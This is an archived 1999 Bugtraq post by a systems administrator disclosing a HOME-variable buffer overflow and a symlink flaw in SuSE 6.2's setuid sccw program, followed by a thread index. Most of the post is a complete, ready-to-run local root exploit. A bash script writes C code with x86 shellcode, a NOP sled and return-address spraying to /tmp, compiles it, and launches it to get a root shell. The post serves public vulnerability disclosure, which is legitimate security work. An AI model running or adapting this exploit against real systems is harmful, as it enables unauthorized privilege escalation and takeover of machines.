Bugtraq mailing list archives
SuSE 6.2 sccw overflow exploit
From: btellier () WEBLEY COM (Brock Tellier)
Date: Thu, 23 Sep 1999 14:32:38 -0500
Greetings, My last post regarding a sccw exploit simply allowed any user to read any file on the system but, of course, didn't yield any instant root. A much more serious problem now exists in the form of a HOME environment variable buffer overflow. If you hadn't removed the s-bit before, now is the time. In addition to this problem, a $HOME/.sccw symlink vulnerability also exists, allowing any user to clobber any file on the system. Brock Tellier UNIX Systems Administrator Webley Systems www.webley.com --- sccw.sh --- #!/bin/bash # # Linux x86 exploit for /usr/bin/sccw on SuSE 6.2 # # -Brock Tellier btellier () webley com echo "Building /tmp/sccwx.c..." cat > /tmp/sccwx.c << FOEFOE /* * sccw local root Linux x86 tested on SuSE 6.2 * gcc -o sccwx sccwx.c * must compile/run a setuid(geteuid()); system("/bin/bash"); for a rootshell * * -Brock Tellier btellier () webley com */ #include <stdlib.h> #include <stdio.h> char exec[]= /* Generic Linux x86 running our /tmp program */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/tmp/sc"; #define LEN 400 #define NOP 0x90 unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } void main(int argc, char *argv[]) { int offset=0; int i; int buflen = LEN; long int addr; char buf[LEN]; if(argc > 3) { fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]); exit(0); } else if (argc == 2){ offset=atoi(argv[1]); } else if (argc == 3) { offset=atoi(argv[1]); buflen=atoi(argv[2]); } else { offset=2100; buflen=300; } addr=get_sp(); fprintf(stderr, "SuSE 6.2 sccw local root\n"); fprintf(stderr, "Brock Tellier btellier () webley com\n"); fprintf(stderr, "Using addr: 0x%x\n", addr+offset); memset(buf,NOP,buflen); memcpy(buf+(buflen/2),exec,strlen(exec)); for(i=((buflen/2) + strlen(exec))+1;i<buflen-4;i+=4) *(int *)&buf[i]=addr+offset; setenv("HOME", buf, 1); execl("/usr/bin/sccw", "sccw", NULL); } FOEFOE echo "Building /tmp/sccwuid.c..." cat > /tmp/sccwuid.c <<EOFFOE void main() { setuid(geteuid()); system("/bin/bash"); } EOFFOE echo "Compiling /tmp/sccwx..." gcc -o /tmp/sccwx /tmp/sccwx.c echo "Compiling /tmp/sc..." gcc -o /tmp/sc /tmp/sccwuid.c echo "Launching /tmp/sccwx..." /tmp/sccwx echo "If it didn't work, try /tmp/sccwx <offset> <bufsiz>" -------
Current thread:
- Re: More fun with WWWBoard, (continued)
- Re: More fun with WWWBoard Mark Jeftovic (Sep 21)
- Re: More fun with WWWBoard Patrick Oonk (Sep 22)
- Re: More fun with WWWBoard Speed (Sep 24)
- Re: More fun with WWWBoard Mark Jeftovic (Sep 26)
- Microsoft Security Bulletin (MS99-037) Aleph One (Sep 25)
- Internet Explorer 5.0 & AOL Instant Messenger 3.x (latest version) Bug forcing Win98 to crash remotely webmaster (Sep 22)
- Re: Internet Explorer 5.0 & AOL Instant Messenger 3.x (latest version) Bug forcing Win98 to crash remotely Peter Haglund (Sep 24)
- Re: More fun with WWWBoard Vladimir Dubrovin (Sep 21)
- SCO 5.0.x scosession local exploit Brock Tellier (Sep 22)
- Re: More fun with WWWBoard Ben Laurie (Sep 23)
- SuSE 6.2 sccw overflow exploit Brock Tellier (Sep 23)
- Security Bulletins Digest Aleph One (Sep 20)
- Microsoft Security Bulletin (MS99-038) Aleph One (Sep 20)
- FreeBSD Security Advisory: FreeBSD-SA-99:06.amd Aleph One (Sep 20)
- socket buffer DoS/administrative limits (fwd) Brian F. Feldman (Sep 17)
- A few bugs... Tymm Twillman (Sep 17)
- Re: A few bugs... Olaf Kirch (Sep 20)